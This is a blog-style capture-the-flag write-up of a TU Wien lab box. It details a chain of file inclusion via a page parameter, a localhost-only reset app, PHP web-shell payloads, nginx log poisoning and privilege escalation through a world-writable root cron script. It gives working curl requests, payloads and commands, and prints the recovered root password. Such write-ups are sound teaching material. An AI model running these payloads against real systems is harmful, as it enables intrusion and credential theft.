# A TU Wien CTF where Sysops Klaus left the keys in the cron job

June 5, 2026 · 10 min · Iman Alipour Comments

> Spoiler alert: this is a full writeup. If you still want to solve `g#.tuw.measurement.network` yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

Each student group gets their own host (`g00`, `g01`, …). The goal is simple on paper:

1. Collect every `passwd_part` file sitting in user home directories.
2. Stitch them together into the root password (the full answer lives in `/root/passwd`).

Simple. Boring. Except Klaus was clearly in charge of this VM.

## 0) The lay of the land#

Target: `g00.tuw.measurement.network`

From the outside you mostly see three faces of the same machine:

Host | What it is
--- | ---
`g00.tuw.measurement.network` | Main vhost — `documentation.md`, directory listing, a teasing `passwd_part` that returns 403
`web.g00.tuw.measurement.network` | PHP “meme gallery” with a very trusting `?page=` parameter
`pwreset.g00.tuw.measurement.network` | Internal password-reset app — not reachable directly from the internet

Users on the box (from `/etc/passwd` via LFI): `user1`–`user4`, `monitoring`, `www-data`, `root`.

SSH from outside? Public key only. Password auth is a lie (for us, anyway).

## 1) Recon — documentation.md saves the day#

First stop: the main site.

    curl -s https://g00.tuw.measurement.network/documentation.md

That file is basically a treasure map. It mentions two services:

- web → `web.g00.tuw.measurement.network`
- pwreset → `pwreset.g00.tuw.measurement.network`

I also poked the obvious paths (`.git`, `phpinfo`, swap files, `robots.txt`, …). Nothing juicy on the main vhost except the directory index and the forbidden `passwd_part`.

Subdomains resolve. Good. Let’s go web.

## 2) LFI — `include($_GET['page'])` classic#

The web vhost is a frameset. Content loads in a frame via `?page=`:

    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'

And there it is — root, users, the whole `/etc/passwd` parade inside the frame.

Source via PHP filter works too:

    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
      | sed -n 's/.*frame name="in">//p' | base64 -d

`index.php` is roughly:

    <?php
    $page = $_GET['page'] ?? 'home.php';
    include($page);
    ?>

Klaus, my man. We love you.

First instinct: read all the `passwd_part` files immediately.

    # spoiler: doesn't work
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    # → permission denied

Same for `user2`–`user4`, `monitoring`, `root/passwd`. The LFI runs as `www-data`. Those files are not world-readable. Fair.

## 3) pwreset — localhost-only, but LFI doesn’t care about nginx#

Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    allow 127.0.0.1;
    deny all;

So you can’t hit `https://pwreset.g00...` from your laptop. But PHP on the web vhost can still include the pwreset `index.php` file — that’s a local file include, not an HTTP request.

pwreset source (paraphrased):

    $user = $_GET['user'] ?? '';
    $pass = $_GET['pass'] ?? '';
    file_put_contents('/var/www/userchange', "$user:$pass\n");
    echo "Password reset queued.";

It writes `user:pass` lines to `/var/www/userchange`. Something on the system processes that file later (spoiler: `chpasswd`, not shell).

Trigger it through LFI:

    https://web.g00.tuw.measurement.network/
      ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
      &user=user1
      &pass=MyTestPass1!

I confirmed writes by reading `/var/www/userchange` back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

## 4) RCE — PHP in `userchange`, included like a boss#

At some point I wondered: what if the thing that processes `userchange` doesn’t only run `chpasswd`? What if it includes the file as PHP?

So I wrote a tiny shell into the `user` field via pwreset:

    <?=`id`?>

Then included `/var/www/userchange` through the LFI:

    ?page=/var/www/userchange

Output: `uid=33(www-data) gid=33(www-data) ...`

Short tags (`<?= ... ?>`) for the win. A longer `<?php system(...); ?>` payload also works, but the backtick version is minimal and cute.

From here on, my mental model was:

1. pwreset → write arbitrary-ish content to `/var/www/userchange`
2. LFI include `userchange` → execute PHP as `www-data`

That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

## 5) Rabbit holes (aka “everything I tried before it worked”)#

This box is a presentation CTF. It wants you to wander. I wandered. Hard.

### nginx log poisoning#

The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in `index.php` source until it was too late.

### `data://`, `php://input`, `expect://` #

    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    ?page=php://input   # with POST body
    ?page=expect://id

Nope. `allow_url_include = Off`. Klaus isn’t that careless.

### vim `.swp` files#

`.memes.php.swp` is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried `img_src` shell escapes on `memes.php` / `convert_img.php`.

Empty memes page. No execution. Nice red herring — very on-theme for the talk.

### Munin / `apt_all` plugin#

The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

- `/etc/munin/plugins/apt_all` — referenced in cron, but the plugin file doesn’t exist
- Brute-forced tons of plugin names and backup suffixes (`.bak`, `.swp`, `~`, …)
- Waited for cron cycles hoping a custom plugin would curl localhost pwreset

Verdict: the `apt_all` munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

### pwreset log archaeology#

Reading `/var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log` via LFI is gold for lore:

- Saw historical resets like `user3` → `foobar23`
- Tried `foobar23` over SSH for every user

From outside: still `Permission denied (publickey)`. Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

### Shell script injection into `userchange` #

I tried newline injection to turn `userchange` into a bash script:

    user=
    #!/bin/sh
    cp /home/user1/passwd_part /var/www/.../p1
    ...

Cron cleared the file. No copies appeared. The processor uses `chpasswd`, not `/bin/sh`. Good lesson. Wrong path.

### Brute-forcing the `userchange` consumer#

I spawned searches across `/etc/cron.d`, puppet manifests, `/usr/local/sbin`, systemd units, … — looking for whatever reads `userchange`.

Eventually didn’t need it. Once RCE landed, grepping and `find` from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

### Direct SSH password guessing#

Tried setting root’s password via pwreset (`root:RootPass123!`), waited for cron, attempted SSH.

From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

## 6) Privesc — world-writable cron script (peak Klaus)#

With RCE as `www-data`, I looked for writable files:

    find / -writable -type f 2>/dev/null | head

Jackpot:

    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh

Original script (innocent):

    #!/bin/bash
    grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config

It’s run by cron as root (Puppet-managed). `www-data` can edit it because `user1` owns it and the group is `www-data` with world-writable perms. Chef’s kiss.

I appended:

    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*

Then either waited for cron or executed the script manually via RCE:

    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>

Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

## 7) SSH as `www-data` — because keys in the webroot are a mood#

The main vhost webroot also had `.ssh/id_rsa` for `www-data`. Of course it did.

    # via RCE: cat the key, save locally, chmod 600
    ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
      www-data@g00.tuw.measurement.network

Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

## 8) The password parts#

Source | File | Part
--- | --- | ---
user1 | `p1` | `DcC6Da0A27384fA`
user2 | `p2` | `9Ce05B3cAd57824`
user3 | `p3` | `3aD80fa1b7AE986`
user4 | `p4` | `CDefabffab1FCCf`
www-data | `passwd_part` | `44D885d6DAb8Bb9`
root | `rootpass` | `ghadnuthduxeec7`

Missing: `monitoring/passwd_part` — copying to `pm` failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

Combined root password (95 characters):

    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7

Order: `user1 + user2 + user3 + user4 + www-data + root_suffix`.

I double-checked byte lengths with `wc -c` and `od` over SSH. No sneaky newlines.

Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

## 9) Attack chain (one screen)#

    documentation.md
        → web vhost LFI (include $_GET['page'])
            → include pwreset index.php (localhost bypass)
                → write PHP to /var/www/userchange
                    → LFI include userchange
                        → RCE as www-data
                            → append to world-writable cron_update_hostname_file.sh
                                → cron runs as root → copies passwd parts to webroot
                                    → read parts / SSH as www-data
                                        → profit

Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

## 10) Replay script#

I left a minimal Python replay in the challenge repo:

    python3 solve.py

Core logic:

    def pwreset(user, passwd=""):
        # LFI-include pwreset index.php with user/pass params

    def rce(cmd):
        pwreset(f"<?=`{cmd}`?>", "")
        return lfi_include("/var/www/userchange")

It prints `id`, the modified cron script, each part file, and the combined password.

## 11) Bonus: the intended log poisoning path#

After I solved the box the scenic route (pwreset → `userchange`), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

### The hint is in `index.php`, not `documentation.md` #

`documentation.md` only lists the services (`web`, `pwreset`). It says nothing about logs. The actual breadcrumb is an HTML comment in `index.php` (readable via PHP filter LFI):

    <!-- remember for debugging:
        /var/log/nginx/$vhost.access.log
        /var/log/nginx/$vhost.error.log
        /var/log/nginx/ssl-$vhost.access.log
        /var/log/nginx/ssl-$vhost.error.log
    -->

Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

### Intended technique#

1. Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

       /var/log/nginx/web.g00.tuw.measurement.network.access.log

2. Put PHP in the `User-Agent` (or another logged field):

       <?php passthru($_GET['cmd']); ?>

   Short tags like `<?=`id`?>` work too. Use quoted `'cmd'` — bare `$_GET[cmd]` is a PHP 8 footgun.

3. Include that log through the same LFI bug:

       https://web.g00.tuw.measurement.network/
         ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
         &cmd=id

On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get `www-data`. That’s RCE. No pwreset required.

### How I griefed myself#

What I did | Why it hurt
--- | ---
Defaulted to `https://` everywhere | Poison landed in `ssl-web...access.log` — 670 KB+ and growing
Included the ssl log via LFI | Output truncates around ~2 KB; poison sits at the tail
Fired dozens of test payloads | Left broken `<?php` in the HTTP log (`$_GET[cmd]` without quotes, `\x22`, etc.) — PHP dies on the first bad tag before reaching a clean line
Didn’t read `index.php` source early | Missed the debug comment until I’d already polluted both logs

Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

### If you’re solving it now#

- Read `index.php` source first.
- Poison on HTTP: `http://web.g00.tuw.measurement.network/` with a clean User-Agent payload.
- Include the non-ssl access log path from the comment.
- Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.

I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

## 12) TL;DR#

- Read `documentation.md` — it tells you where the services live.
- Read `index.php` source — the debug comment gives you the log paths.
- Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
- What I did = pwreset → `userchange` → cron (also works, not the intended first step).
- Privesc = `/usr/local/bin/cron_update_hostname_file.sh` is world-writable and runs as root.
- Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
- Flag = concatenate all `passwd_part` slices + `/root/passwd` suffix.

If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

Happy hacking. 🔓

Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

    -----BEGIN PGP SIGNATURE-----

    iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    //J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    =BDGe
    -----END PGP SIGNATURE-----

Verify locally:

    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md.asc
    gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md

Open on GitHub ↗
Comments powered by Isso
RSS · Visitors this week: —